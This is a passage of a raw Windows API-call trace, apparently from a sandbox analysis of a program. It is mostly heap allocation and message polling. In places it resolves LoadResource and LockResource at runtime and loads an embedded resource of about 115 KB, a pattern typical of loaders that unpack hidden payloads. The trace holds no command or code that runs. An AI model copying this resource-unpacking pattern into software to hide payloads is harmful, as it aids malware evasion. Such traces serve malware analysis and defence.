Flags=0x0, Size=0x8) returned 0xeaf128 [0131.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf158 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0131.901] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf198 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf218 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0131.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0131.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0131.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17a8 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf198 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d48 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1f8 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0b8 [0131.901] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c10 [0131.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d48 | out: hHeap=0xe80000) returned 1 [0131.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0131.901] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1f8 [0131.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d48 [0131.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf128 [0131.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf0b8 [0131.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0131.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d48 | out: hHeap=0xe80000) returned 1 [0131.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0131.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.902] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cd0 [0131.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf098 [0131.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LoadResource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0131.902] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xd) returned 0x1076c40 [0131.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LoadResource", cchWideChar=13, lpMultiByteStr=0x1076c40, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LoadResource", lpUsedDefaultChar=0x0) returned 13 [0131.902] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.903] GetProcAddress (hModule=0x770a0000, lpProcName="LoadResource") returned 0x770b76f0 [0131.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0131.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0131.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1a8 [0131.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf128 [0131.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf128 | out: hHeap=0xe80000) returned 1 [0131.903] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17d0 | out: hHeap=0xe80000) returned 1 [0131.903] LoadResource (hModule=0x0, hResInfo=0x377688) returned 0x3ad784 [0131.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1a8 [0131.903] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x214) returned 0x107f3f8 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0xc) returned 0x1076c10 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d48 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf098 [0131.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0131.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c40 | out: hHeap=0xe80000) returned 1 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c40 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d00 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf098 [0131.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d00 | out: hHeap=0xe80000) returned 1 [0131.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c70 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0131.904] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf218 [0131.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0131.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.904] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c70 | out: hHeap=0xe80000) returned 1 [0131.905] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.905] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.905] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.905] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec17a8 | out: hHeap=0xe80000) returned 1 [0131.905] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0131.905] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.905] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0131.905] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.906] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17f8 [0131.906] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0131.906] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.906] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.906] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.906] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.906] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.906] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.906] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.906] CharLowerBuffW (in: lpsz="ptr", cchLength=0x3 | out: lpsz="ptr") returned 0x3 [0131.906] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x770a0000 [0131.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LockResource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0131.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LockResource", cchWideChar=13, lpMultiByteStr=0x1076d48, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LockResource", lpUsedDefaultChar=0x0) returned 13 [0131.907] GetProcAddress (hModule=0x770a0000, lpProcName="LockResource") returned 0x770b7890 [0131.907] LockResource (hResData=0x3ad784) returned 0x3ad784 [0131.907] FreeLibrary (hLibModule=0x770a0000) returned 1 [0131.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1780 | out: hHeap=0xe80000) returned 1 [0131.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b38 | out: hHeap=0xe80000) returned 1 [0131.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0131.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ad8 | out: hHeap=0xe80000) returned 1 [0131.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076be0 | out: hHeap=0xe80000) returned 1 [0131.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d30 | out: hHeap=0xe80000) returned 1 [0131.907] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076af0 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c10 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076cd0 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1910 | out: hHeap=0xe80000) returned 1 [0131.908] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0c8 [0131.908] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ac0 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0c8 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ac0 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x107f3f8 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf198 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bf8 | out: hHeap=0xe80000) returned 1 [0131.908] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.908] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.908] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.909] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17a8 [0131.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c58 [0131.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf128 [0131.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c58 | out: hHeap=0xe80000) returned 1 [0131.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x30) returned 0xec3368 [0131.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076cb8 [0131.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b68 [0131.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf218 [0131.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b68 | out: hHeap=0xe80000) returned 1 [0131.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076af0 [0131.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf218 | out: hHeap=0xe80000) returned 1 [0131.909] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10161c0 | out: hHeap=0xe80000) returned 1 [0131.909] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055530 [0131.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055530 | out: hHeap=0xe80000) returned 1 [0131.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.909] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.909] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016100 [0131.909] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.910] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016100 | out: hHeap=0xe80000) returned 1 [0131.910] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.910] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0131.910] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0b8 [0131.910] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554b0 [0131.910] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554b0 | out: hHeap=0xe80000) returned 1 [0131.910] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.910] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.910] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015cc0 [0131.910] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.910] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1015cc0 | out: hHeap=0xe80000) returned 1 [0131.912] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1780 [0131.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0131.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf228 [0131.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10556b0 [0131.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0a8 [0131.912] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055770 [0131.913] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0a8 | out: hHeap=0xe80000) returned 1 [0131.913] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055770 | out: hHeap=0xe80000) returned 1 [0131.913] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10556b0 | out: hHeap=0xe80000) returned 1 [0131.913] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.913] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf228 | out: hHeap=0xe80000) returned 1 [0131.913] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076d48 [0131.913] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0131.913] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf098 [0131.913] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076ca0 [0131.913] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076d48 | out: hHeap=0xe80000) returned 1 [0131.913] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b08 | out: hHeap=0xe80000) returned 1 [0131.913] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1780 | out: hHeap=0xe80000) returned 1 [0131.914] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xec1870 | out: hHeap=0xe80000) returned 1 [0131.914] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.914] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076ca0 | out: hHeap=0xe80000) returned 1 [0131.914] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.914] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.914] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf098 [0131.914] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0131.914] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055590 [0131.914] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055590 | out: hHeap=0xe80000) returned 1 [0131.914] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.914] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf098 | out: hHeap=0xe80000) returned 1 [0131.914] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1016180 [0131.914] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.914] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1016180 | out: hHeap=0xe80000) returned 1 [0131.914] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.914] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf108 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1f8 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x10554f0 [0131.915] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10554f0 | out: hHeap=0xe80000) returned 1 [0131.915] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.915] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf108 | out: hHeap=0xe80000) returned 1 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0x1015e80 [0131.915] PeekMessageW (in: lpMsg=0xbdf39c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf39c) returned 0 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf198 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1870 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076be0 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf158 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b08 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf1a8 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0x1055730 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b80 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076bb0 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf1f8 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf218 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec1780 [0131.915] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076bb0 | out: hHeap=0xe80000) returned 1 [0131.915] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1f8 | out: hHeap=0xe80000) returned 1 [0131.915] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076b80 | out: hHeap=0xe80000) returned 1 [0131.915] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076c88 [0131.916] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1076c88 | out: hHeap=0xe80000) returned 1 [0131.916] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1055730 | out: hHeap=0xe80000) returned 1 [0131.916] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf1a8 | out: hHeap=0xe80000) returned 1 [0131.916] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf158 | out: hHeap=0xe80000) returned 1 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x10) returned 0x1076b38 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf0b8 [0131.916] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf0b8 | out: hHeap=0xe80000) returned 1 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x14) returned 0x1055530 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x4) returned 0xeaf158 [0131.916] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x20) returned 0xec17d0 [0131.916] CharLowerBuffW (in: lpsz="byte[115217]", cchLength=0xc | out: lpsz="byte[115217]") returned 0xc [0131.916] 